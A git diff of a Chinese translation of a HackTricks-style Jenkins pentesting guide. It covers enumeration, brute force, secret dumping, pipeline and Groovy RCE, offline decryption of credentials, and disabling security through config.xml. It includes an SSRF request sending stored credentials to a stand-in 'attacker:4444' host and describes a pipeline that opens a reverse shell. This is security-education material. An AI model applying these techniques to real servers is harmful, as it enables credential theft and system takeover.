Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf

This commit is contained in:
Translator
2026-01-17 16:54:52 +00:00
parent 7c9285f70e
commit 1bbc5d470f
2 changed files with 163 additions and 133 deletions

View File

@@ -4,25 +4,27 @@
## 基本信息
Jenkins 是一个工具,提供了一种简的方法来建立几乎任何编程语言和源代码库组合的 **持续集成****持续交付** (CI/CD) 环境,使用管道。此外,它自动化各种常规开发任务。虽然 Jenkins 并没有消除 **为单个步骤创建脚本的需要**,但它确实提供了一种比手动建更快、更强大的方式来集成整个构建、测试和部署工具的序列
Jenkins 是一个工具,提供了一种简便的方法来几乎任何编程语言和源代码仓库的组合建立持续集成或持续交付 (CI/CD) 环境,使用 pipelines。此外,它能够自动化各种常规开发任务。虽然 Jenkins 并不能免除为各个步骤编写脚本的需要,但它确实比手动建更快、更稳健地将整个构建、测试和部署工具链集成在一起
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## 未经身份验证的枚举
## 无需身份验证的枚举
为了在没有身份验证的情况下搜索有趣的 Jenkins 页面,如 (_/people__/asynchPeople_,这列出当前用户),您可以使用:
为了在未认证的情况下搜索有趣的 Jenkins 页面(例如 _/people__/asynchPeople_,这些会列出当前用户),你可以使用:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
检查是否可以在不需要身份验证的情况下执行命令:
检查是否可以在不需要身份验证的情况下执行命令:
```
msf> use auxiliary/scanner/http/jenkins_command
```
在没有凭的情况下,可以查看 _**/asynchPeople/**_ 路径_**/securityRealm/user/admin/search/index?q=**_ 以获取 **用户名**
在没有凭的情况下,可以查看路径 _**/asynchPeople/**__**/securityRealm/user/admin/search/index?q=**_ 来寻找 **用户名**
可能能够从路径 _**/oops**__**/error**_ 获取 Jenkins 版本。
可能可以从路径 _**/oops**__**/error**_ 获取 Jenkins 版本信息
![](<../../images/image (146).png>)
### 已知漏洞
@@ -32,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
## 登录
在基本信息中,可以检查 **所有登录 Jenkins 方式**
在基本信息中,可以检查 **所有 Jenkins 中的登录方式**
{{#ref}}
basic-jenkins-information.md
@@ -40,36 +42,36 @@ basic-jenkins-information.md
### 注册
您将能够找到 **允许创建户并登录的 Jenkins 实例。就这么简单。**
你可能会发现允许创建户并登录的 Jenkins 实例。就这么简单。
### **SSO 登录**
### **SSO Login**
如果存在 **SSO** **功能**/**插件**,那么您应该尝试使用测试帐户(即测试 **Github/Bitbucket 帐户**)登录应用程序。技巧来自 [**这里**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)
如果存在 **SSO** 功能/插件,你应尝试使用测试账号(例如测试 **Github/Bitbucket account**)登录应用。Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### 暴力破解
### Bruteforce
**Jenkins** 缺乏 **密码策略****用户名暴力破解缓解**对用户进行 **暴力破解** 是至关重要的,因为可能使用 **弱密码****用户名作为密码**,甚至 **反用户名作为密码**
**Jenkins** 缺乏 **密码策略****用户名 brute-force 缓解**。进行 **brute-force** 针对用户是必要的,因为可能使用 **弱密码****用户名作为密码**,甚至 **反转的用户名作为密码**
```
msf> use auxiliary/scanner/http/jenkins_login
```
### 密码喷射
### Password spraying
使用 [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 或 [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray)
使用 [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) 或 [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP 白名单绕过
### IP Whitelisting Bypass
许多组织将 **基于SaaS的源代码管理SCM系统**(如 GitHub 或 GitLab **内部自托管的 CI** 解决方案(如 Jenkins 或 TeamCity结合使用。此设置允许 CI 系统 **接收来自 SaaS 源代码供应商的 webhook 事件**,主要用于触发管道作业
许多组织将 **SaaS-based source control management (SCM) systems**如 GitHub 或 GitLab像 Jenkins 或 TeamCity 这样的 **internal, self-hosted CI** 解决方案结合使用。该配置允许 CI 系统 **receive webhook events from SaaS source control vendors**,主要用于触发 pipeline jobs
了实现这一点,组织 **SCM 平台的 IP 范围列入白名单**,允许它们通过 **webhooks** 访问 **内部 CI 系统**。然而,重要的是要注意 **任何人**可以在 GitHub 或 GitLab 上创建一个 **账户**将其配置 **触发 webhook**,可能**内部 CI 系统** 发送请求。
,组织会将 **SCM platforms****IP ranges** 列入 **whitelist**,允许它们通过 **webhooks** 访问 **internal CI system**。然而,值得注意的是,**anyone** 可以在 GitHub 或 GitLab 上创建 **account** 并配置 **trigger a webhook**从而可能向 **internal CI system** 发送请求。
检查: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
参见: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## 内部 Jenkins 滥用
## Internal Jenkins Abuses
在这些场景中,我们假设您拥有访问 Jenkins 的有效账户
在这些情形中,我们假设你有一个有效的账户可以访问 Jenkins。
> [!WARNING]
> 根据 Jenkins 中配置的 **授权** 机制被攻用户的权限, **可能能够或无法执行以下攻击。**
> 根据 Jenkins 中配置的 **Authorization** 机制以及被攻用户的权限, **可能能够或无法执行以下攻击。**
有关更多信息,请查看基本信息:
@@ -77,87 +79,103 @@ msf> use auxiliary/scanner/http/jenkins_login
basic-jenkins-information.md
{{#endref}}
### 列出用户
### Listing users
如果您已访问 Jenkins可以在 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) 列出其他注册用户。
如果你已经访问 Jenkins可以在 [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) 列出其他注册用户。
### 转储构建以查找明文秘密
### Dumping builds to find cleartext secrets
使用 [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) 转储构建控制台输出和构建环境变量,以希望找到明文秘密
使用 [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) 导出 build console outputs 和 build environment variables以期发现 cleartext secrets
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **窃取 SSH 凭证**
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
如果被攻击的用户具有 **足够的权限来创建/修改新的 Jenkins 节点**,并且 SSH 凭证已经存储以访问其他节点,他可以通过创建/修改一个节点并 **设置一个将记录凭证的主机** 而不验证主机密钥来 **窃取这些凭证**
一些插件在类似 `/descriptorByName/<Class>/testConnection` 的路径下暴露 Jelly 的 `validateButton``test connection` 处理程序。 当处理程序 **不强制要求 POST 或进行权限检查** 时,你可以
- 将 POST 改为 GET 并去掉 Crumb 以绕过 CSRF 检查。
- 如果不存在 `Jenkins.ADMINISTER` 检查,可以以低权限/匿名身份触发该处理程序。
- 对管理员发起 CSRF并替换 host/URL 参数以 exfiltrate credentials 或触发出站调用。
- 使用响应错误(例如 `ConnectException`)作为 SSRF/port-scan oracle。
示例 GET无 Crumb将验证调用变为 SSRF/credential exfiltration
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Stealing SSH Credentials**
如果被攻陷的用户拥有 **enough privileges to create/modify a new Jenkins node**,并且已经存有用于访问其他节点的 SSH 凭据,他可以通过创建/修改一个节点并**设置一个不会验证 host key 的主机来记录这些凭据**,从而 **steal those credentials**
![](<../../images/image (218).png>)
通常可以**全局提供者** (`/credentials/`) 中找到 Jenkins ssh 凭证,因此您也可以像转储任何其他秘密一样转储它们。更多信息请参见 [**转储秘密部分**](./#dumping-secrets)
通常你会**global provider** (`/credentials/`) 中找到 Jenkins SSH 凭据,所以你也可以像 dump 其他 secret 那样导出它们。更多信息见 [**Dumping secrets section**](#dumping-secrets).
### **Jenkins 中的 RCE**
### **RCE in Jenkins**
Jenkins 服务器上获得 **shell** 使攻击者有机会泄露所有 **秘密****环境变量**,并 **利用同一网络中** 的其他机器,甚至 **收集云凭证**
获取 Jenkins 服务器 **shell** 使攻击者有机会 leak 所有 **secrets****env variables**,并 **exploit other machines** 位于同一网络,甚至 **gather cloud credentials**
默认情况下Jenkins **以 SYSTEM 身份运行**。因此,攻陷它将使攻击者获得 **SYSTEM 权限**
默认情况下Jenkins 以 SYSTEM 运行。因此,攻破它会赋予攻击者 SYSTEM 权限。
### **创建/修改项目的 RCE**
### **RCE Creating/Modifying a project**
创建/修改项目是一种获得 Jenkins 服务器 RCE 的方式:
Creating/Modifying a project 是获得 Jenkins 服务器 RCE 的一种方式:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **执行 Groovy 脚本的 RCE**
### **RCE Execute Groovy script**
您还可以通过执行 Groovy 脚本获得 RCE这可能比创建新项目更隐蔽
你也可以通过执行 Groovy script 来获得 RCE这可能比创建新项目更隐蔽
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### 创建/修改管道的 RCE
### RCE Creating/Modifying Pipeline
您还可以通过 **创建/修改管道** 来获得 **RCE**
你也可以通过创建/修改 pipeline 来获得 **RCE**
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## 管道利用
## Pipeline Exploitation
利用管道,您仍然需要访问 Jenkins。
exploit pipelines仍然需要访问 Jenkins。
### 构建管道
### Build Pipelines
**管道** 也可以用作 **项目中的构建机制**,在这种情况下可以配置一个 **存储库中的文件**,该文件将包含管道语法。默认情况下使用 `/Jenkinsfile`
**Pipelines** 也可以用作项目中的 **build mechanism**,在这种情况下可以配置仓库内的一个 **file inside the repository** 来包含 pipeline 语法。默认使用 `/Jenkinsfile`
![](<../../images/image (127).png>)
可以 **将管道配置文件存储在其他地方**(例如在其他存储库中),目的是 **分离** 存储库 **访问** 和管道访问
可以 **store pipeline configuration files in other places**(例如在其他库中),目的是 **separating** repository **access** 和 pipeline access
如果攻击者对该文件**写入访问权限**,他将能够 **修改** 它并 **可能触发** 管道,而无需访问 Jenkins。\
攻击者可能需要 **绕过一些分支保护**根据平台和用户权限,这些保护可能会被绕过或不被绕过)。
如果攻击者对该文件有 **write access over that file**,他将能够 **modify** 它并 **potentially trigger** pipeline甚至无需访问 Jenkins 即可触发。\
攻击者可能需要 **bypass some branch protections**这取决于平台和用户权限,可能能或不被绕过)。
执行自定义管道的最常见触发器是
最常见触发自定义 pipeline 的方式有
- **对主分支的拉取请求**(或可能对其他分支)
- **推送到主分支**(或可能对其他分支)
- **更新主分支** 并等待以某种方式执行
- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow
> [!NOTE]
> 如果您是 **外部用户**不应该期望创建 **PR 到其他用户/组织的主分支** 并 **触发管道**...但如果配置 **不当**,您可能通过利用这一点完全 **攻陷公司**。
> 如果你是一个 **external user**不应该期望能够对其他用户/组织的仓库创建一个 **PR to the main branch** 并 **trigger the pipeline**……但如果配置不当,你可能通过利用这一点就能完全 **compromise companies**。
### 管道 RCE
### Pipeline RCE
在前面的 RCE 部分已经指了一种技术来 [**通过修改管道获取 RCE**](./#rce-creating-modifying-pipeline)。
在前面的 RCE 部分已经指了一种 [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline) 的技术
### 检查环境变量
### Checking Env variables
可以为整个管道或特定阶段声明 **明文环境变量**。这些环境变量 **不应包含敏感信息**,但攻击者始终可以 **检查所有管道** 配置/Jenkinsfiles
可以为整个 pipeline 或特定 stage 声明 **clear text env variables**。这些 env variables **shouldn't contain sensitive info**,但攻击者始终可以 **check all the pipeline** 配置/Jenkinsfiles
```bash
pipeline {
agent {label 'built-in'}
@@ -174,19 +192,19 @@ steps {
```
### Dumping secrets
有关 Jenkins 通常如何处理秘密的信息,请查看基信息:
有关 Jenkins 通常如何处理 secrets 的信息,请查看基信息:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
可以**作用于全局提供者**`/credentials/`)或**特定项目**`/job/<project-name>/configure`)。因此,为了提取所有凭据,您需要**至少妥协所有包含秘密的项目**并执行自定义/被污染的管道
可以**限定到全局提供者**`/credentials/`)或**特定项目**`/job/<project-name>/configure`)。因此,要想 exfiltrate 所有凭证,你至少需要**攻破所有包含 secrets 的项目**并执行自定义/被投毒的 pipelines
还有一个问题为了在管道的**环境中获取一个秘密**,您需要**知道秘密的名称和类型**。例如,如果尝试将一个**`usernamePassword`** **秘密**作为**`string`** **秘密**加载,您将会收到此**错误**
还有一个问题为了在 pipeline 的 env 中得到一个 **secret**,你需要**知道该 secret 的名称和类型**。例如,如果尝试将一个 **`usernamePassword`** 类型的 **secret** 当作 **`string`** 类型的 **secret****load**,你会得到如下 **错误**
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
这里是加载一些常见秘密类型的方法:
下面是加载一些常见 secret 类型的方法:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -214,46 +232,46 @@ env
'''
}
```
本页的末尾,您可以**找到所有凭证类型** [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
此页面末尾你可以**找到所有凭证类型**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> **一次性转储所有秘密**的最佳方法是**妥协****Jenkins**机器(例如在**内置节点**上运行反向 shell然后**泄露****主密钥**和**加密秘密**并离线解密它们。\
> 有关如何在[节点和代理部分](./#nodes-and-agents)和[后期利用部分](./#post-exploitation)中执行此操作的更多信息
> 最好的方法是通过 **dump all the secrets at once**,即通过 **compromising** **Jenkins** 机器(例如在 **built-in node** 上运行一个 **reverse shell**),然后 **leaking** **master keys** 和 **encrypted secrets** 并在 offline 解密。\
> 更多关于如何做到这一点的信息见 [Nodes & Agents section](#nodes-and-agents) 和在 [Post Exploitation section](#post-exploitation)。
### 触发器
来自[文档](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)`triggers`指令定义了**管道应重新触发的自动方式**。对于与GitHubBitBucket等源集成的管道`triggers`可能不是必需的因为基于webhook的集成可能已经存在。前可用的触发器有`cron``pollSCM``upstream`
来自 [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` directive 定义了 Pipeline 应该被重新触发的**自动方式**。对于与 GitHubBitBucket 等源集成的 Pipelines`triggers` 可能不是必需的,因为基于 webhooks 的集成可能已经存在。前可用的触发器有 `cron``pollSCM``upstream`
Cron示例
Cron 示例:
```bash
triggers { cron('H */4 * * 1-5') }
```
检查 **文档中的其他示例**
Check **文档中的其他示例**
### 节点与代理
### Nodes & Agents
一个 **Jenkins 实例** 可能在 **不同的机器上运行不同的代理**。从攻击者角度来看,访问不同的机器意味着 **不同的潜在云凭证** 可以被窃取或 **不同网络访问** 可能被滥用以利用其他机器
一个 **Jenkins 实例** 可能在不同的机器上运行 **不同的 agents**。从攻击者角度来看,访问不同的机器意味着可能窃取到**不同的云凭证**,或者获得可被滥用以攻击其他机器的**不同网络访问权限**
有关更多信息请查看基信息:
更多信息请查看基信息:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
可以在 `/computer/` 中枚**配置的节点**,通常会找**`内置节点`**(即运行 Jenkins 的节点)以及可能更多的节点:
可以在 `/computer/` **配置的节点**,通常你会看**`Built-In Node`**(即运行 Jenkins 的节点)以及可能的其他节点:
![](<../../images/image (249).png>)
**攻陷内置节点** 特别有,因为它包含敏感的 Jenkins 信息。
**攻陷 Built-In node** 特别有价值,因为它包含敏感的 Jenkins 信息。
要指示您想**内置 Jenkins 节点** **运行** **管道**可以在管道中指定以下配置:
要指**built-in Jenkins node** **run** **pipeline**,可以在 pipeline 中指定以下配置:
```bash
pipeline {
agent {label 'built-in'}
```
### 完整示例
在特定代理中的管道,带有 cron 触发器,具有管道和阶段环境变量,在一个步骤中加载 2 个变量并发送反向 shell
在特定 agent 上的 Pipeline带有 cron trigger包含 pipeline 和 stage env variables在一个 step 中加载 2 个变量并发送 reverse shell
```bash
pipeline {
agent {label 'built-in'}
@@ -284,7 +302,7 @@ cleanWs()
}
}
```
## 任意文件读取到 RCE
## Arbitrary File Read to RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -304,40 +322,40 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## 后期利用
## Post Exploitation
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
### Jenkins 机密
可以通过访问 `/credentials/` 列出秘密,如果您拥有足够的权限。请注意,这只会列出 `credentials.xml` 文件中的密,但 **构建配置文件** 可能还有 **更多凭**
可以通过访问 `/credentials/` 列出这些机密(如果你有足够的权限。请注意,这只会列出 `credentials.xml` 文件中的密,但**构建配置文件**可能也包含**更多凭**。
如果您可以 **查看每个项目的配置**,您也可以在其中看到用于访问存储库的 **凭据名称(秘密)****项目的其他凭**
如果你能**查看每个项目的配置**也可以在其中看到用于访问仓库的**凭证secrets的名称**以及**项目的其他凭**。
![](<../../images/image (180).png>)
#### From Groovy
#### Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
#### 从磁盘
这些文件用于 **解密 Jenkins 秘密**
**解密 Jenkins secrets**,需要以下文件
- secrets/master.key
- secrets/hudson.util.Secret
这样的 **密通常可以在**
此类**密通常可以在以下位置找到**
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
是一个用于查找它们的正则表达式:
下面是一个用于查找它们的正则表达式:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -347,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### 离线解密Jenkins秘密
#### 离线解密 Jenkins secrets
如果已经转储**解密秘密所需的密码**使用 [**这个脚本**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **来解密这些秘密**
如果已经导出**解密这些 secrets 所需的密码**,使用 [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **来解密这些 secrets**
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -357,20 +375,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### 从 Groovy 解密 Jenkins 秘密
#### 从 Groovy 解密 Jenkins secrets
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### 创建新管理员用户
### 创建新的 admin user
1. 访问 Jenkins config.xml 文件 `/var/lib/jenkins/config.xml``C:\Program Files (x86)\Jenkis\`
2. 搜索 `<useSecurity>true</useSecurity>` 并将 **`true`** 改为 **`false`**。
1. 访问 Jenkins config.xml 文件,路径为 `/var/lib/jenkins/config.xml``C:\Program Files (x86)\Jenkis\`
2. 查找 `<useSecurity>true</useSecurity>` 并将 **`true`** 改为 **`false`**。
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **重启** **Jenkins** 服务器: `service jenkins restart`
4. 现在再次访问 Jenkins 门户,**Jenkins 这次不会要求任何凭据**。您可以导航到 "**管理 Jenkins**" 重新设置 **管理员密码**
5. 通过将设置更改为 `<useSecurity>true</useSecurity>` 再次 **启用** **安全性**,并 **再次重启 Jenkins**
3. **重启** **Jenkins** 服务器`service jenkins restart`
4. 现在再次访问 Jenkins 门户,**Jenkins will not ask any credentials**。导航到 "**Manage Jenkins**" 重新设置 **administrator password**
5. 通过将设置改回 `<useSecurity>true</useSecurity>` **启用** **security**,并**再次重启 Jenkins**。
## 参考
## 参考资料
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)

View File

@@ -1,87 +1,98 @@
# 基本的 Jenkins 信息
# Basic Jenkins Information
{{#include ../../banners/hacktricks-training.md}}
## 访问
## Access
### 用户名 + 密码
### Username + Password
在 Jenkins 中登录的最常见方式是使用用户名或密码
在 Jenkins 中最常见的登录方式是使用用户名或密码
### Cookie
如果 **授权的 Cookie 被盗取**,它可以用来访问用户的会话。这个 Cookie 通常称为 `JSESSIONID.*`。(用户可以终止所有会话,但他需要发现 Cookie 被盗取)
如果一个 **authorized cookie gets stolen**,它可以用来访问用户的会话。该 cookie 通常称为 `JSESSIONID.*`。(用户可以终止所有会话,但他首先需要发现 cookie 被盗。
### SSO/插件
### SSO/Plugins
Jenkins 可以通过插件配置为 **通过第三方 SSO 访问**
Jenkins 可以通过 plugins 配置为 **通过第三方 SSO 访问**
### 令牌
### Tokens
**用户可以生成令牌**,以便通过 CLI 或 REST API 让应用程序冒充他们
**Users can generate tokens** 来允许应用以他们的身份通过 CLI 或 REST API 访问
### SSH 密钥
### SSH Keys
组件为 Jenkins 提供内置的 SSH 服务器。这是 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) 的替代接口,可以使用任 SSH 客户端以这种方式调用命令。(自 [docs](https://plugins.jenkins.io/sshd/)
组件为 Jenkins 提供内置的 SSH server。它是 [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) 的一种替代接口,可以使用任 SSH 客户端以这种方式调用命令。(自 [docs](https://plugins.jenkins.io/sshd/)
## 授权
## Authorization
`/configureSecurity`可以 **配置 Jenkins 的授权方法**。有几种选项:
`/configureSecurity` 中可以 **配置 Jenkins 的授权方法**。有几种选项:
- **任何人都可以做任何事**:甚至匿名访问也可以管理服务器
- **遗留模式**:与 Jenkins <1.164 相同。如果你**"admin" 角色**,你将获得 **对系统的完全控制**,否则(包括 **匿名** 用户)你将只有 **读取** 权限。
- **已登录用户可以做任何事**:在此模式下,每个 **已登录用户获得 Jenkins 的完全控制**。唯一没有完全控制的用户是 **匿名用户**他们只**读取权限**
- **基于矩阵的安全性**:你可以在中配置 **谁可以做什么**。每 **列** 代表一个 **权限**。每 **行** 代表一个 **用户或组/角色**。这包括一个特殊用户 '**anonymous**',代表 **未认证用户**,以及 '**authenticated**',代表 **所有已认证用户**
- **Anyone can do anything**:即使是 anonymous 访问也可以管理服务器
- **Legacy mode**:与 Jenkins <1.164 相同。如果你有 **"admin" role**,你将被授予对系统的 **full control**,否则(包括 **anonymous** 用户)你将只有 **read** 访问权限。
- **Logged-in users can do anything**:在此模式下,所有 **已登录用户获得 Jenkins 的 full control**。唯一不会拥有 full control 的用户是 **anonymous user**其仅具**read access**
- **Matrix-based security**:你可以在一个表格中配置 **谁可以做什么**。每 **列** 代表一个 **permission**。每 **行** 代表一个 **user 或 group/role**。这包括一个特殊用户 '**anonymous**',代表 **未认证用户**,以及 '**authenticated**',代表 **所有已认证用户**
![](<../../images/image (149).png>)
- **基于项目的矩阵授权策略**此模式是对 "**基于矩阵的安全性**" 的 **扩展**,允许为每个项目单独 **定义额外的 ACL 矩阵**
- **基于角色的策略**:启用使用 **基于角色的策略** 定义授权。在 `/role-strategy` 管理角色。
- **Project-based Matrix Authorization Strategy:** 此模式是对 "**Matrix-based security**" 的扩展,允许为每个项目单独 **定义额外的 ACL 矩阵**
- **Role-Based Strategy:** 允许使用 **基于角色的策略** 定义授权。在 `/role-strategy` 管理这些角色。
## **安全领域**
## **Security Realm**
`/configureSecurity`可以 **配置安全领域**默认情况下Jenkins 包含对几种不同安全领域的支持
`/configureSecurity` 中可以 **配置 security realm。** 默认情况下 Jenkins 支持几种不同的 Security Realms
- **委托给 Servlet 容器**:用于 **委托认证给运行 Jenkins 控制器Servlet 容器**,例如 [Jetty](https://www.eclipse.org/jetty/)。
- **Jenkins 自己的用户数据库**使用 **Jenkins 自带的用户数据存储** 进行认证,而不是委托给外部系统。默认启用。
- **LDAP**:将所有认证委托给配置的 LDAP 服务器,包括用户和组。
- **Unix 用户/组数据库****将认证委托给底层 Unix** 操作系统级用户数据库。此模式还允许重用 Unix 组进行授权。
- **Delegate to servlet container**:用于 **将认证委托给运行 Jenkins controller servlet container**,例如 [Jetty](https://www.eclipse.org/jetty/)。
- **Jenkins own user database:** 使用 **Jenkins 内置的用户数据存储** 进行认证,而不是委托给外部系统。此项默认启用。
- **LDAP**:将所有认证委托给配置的 LDAP server,包括用户和组。
- **Unix user/group database****将认证委托给 Jenkins controller 所在主机的底层 Unix** 操作系统级用户数据库。此模式还允许重用 Unix 组来做授权。
插件可以提供额外的安全领域,这可能对将 Jenkins 纳入现有身份系统有用,例如:
Plugins 可以提供额外的 security realms对于将 Jenkins 整合进现有身份系统可能很有用,例如:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub 认证](https://plugins.jenkins.io/github-oauth)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins 节点、代理和执行器
## Jenkins Nodes, Agents & Executors
来自 [docs](https://www.jenkins.io/doc/book/managing/nodes/) 的定义:
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**节点****构建代理运行的机器**。Jenkins 监控每个附加节点的磁盘空间、可用临时空间、可用交换空间、时钟时间/同步和响应时间。如果这些值中的任何一个超出配置阈值,节点被下线。
**Nodes**运行 build **agents** **机器**。Jenkins 监控每个已连接节点的磁盘空间、可用临时空间、可用 swap、时钟时间/同步和响应时间。如果这些值中的任何一个超出配置阈值,节点被下线。
**代理** **管理** 代表 Jenkins 控制器的 **任务执行**,通过 **使用执行器**。代理可以使用任何支持 Java 的操作系统。构建和测试所需的工具安装在代理运行的节点上;它们可以 **直接安装或在容器中安装**Docker 或 Kubernetes。每个 **代理实际上是主机上的一个进程,具有自己 PID**
**Agents** 通过 **使用 executors** 代表 Jenkins controller **管理任务执行**。agent 可以使用任何支持 Java 的操作系统。构建和测试所需的工具安装在 agent 运行的节点上;它们可以 **直接安装或在容器中**Docker 或 Kubernetes。每个 **agent 在宿主机上本质上是一个具有自己 PID 的进程**
**执行器****任务执行的插槽**实际上,它是 **代理中的一个线程**。节点上的 **执行器数量** 定义了可以在该节点上同时执行的 **并发任务** 数量。换句话说,这决定了可以在该节点上同时执行的 **并发 Pipeline `stages`** 数量。
**executor** 是用于执行任务的 **槽位**本质上,它是 **agent 中的一个线程**一个节点上的 **executor 数量** 定义了该节点一次可以并发执行的 **任务数量**。换句话说,这决定了在该节点上一次可以并发执行的 Pipeline `stages` 数量。
## Jenkins 秘密
## Jenkins Secrets
### 秘密和凭证的加密
### Encryption of Secrets and Credentials
来自 [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) 的定义:Jenkins 使用 **AES 加密和保护秘密**、凭证及其各自的加密密钥。这些加密密钥存储在 `$JENKINS_HOME/secrets/` 中,以及用于保护这些密钥的主密钥。此目录应配置为仅允许运行 Jenkins 控制器的操作系统用户具有读取和写入此目录的权限(即`chmod` 值为 `0700` 或使用适当的文件属性)。**主密钥**(有时在密码术术语中称为 "密钥加密密钥")是 **未加密形式存储** 在 Jenkins 控制器文件系统中 **`$JENKINS_HOME/secrets/master.key`**,这并不能保护直接访问该文件的攻击者。大多数用户和开发人员将通过 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API 间接使用这些加密密钥以加密通用秘密数据,或通过凭证 API。对于对密码学感兴趣的人Jenkins 在密码块链(CBC模式下使用 AES,带 PKCS#5 填充和随机 IV加密存储在 `$JENKINS_HOME/secrets/` 中的 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 实例,文件名对应`CryptoConfidentialKey` id。常见的密钥 id 包括:
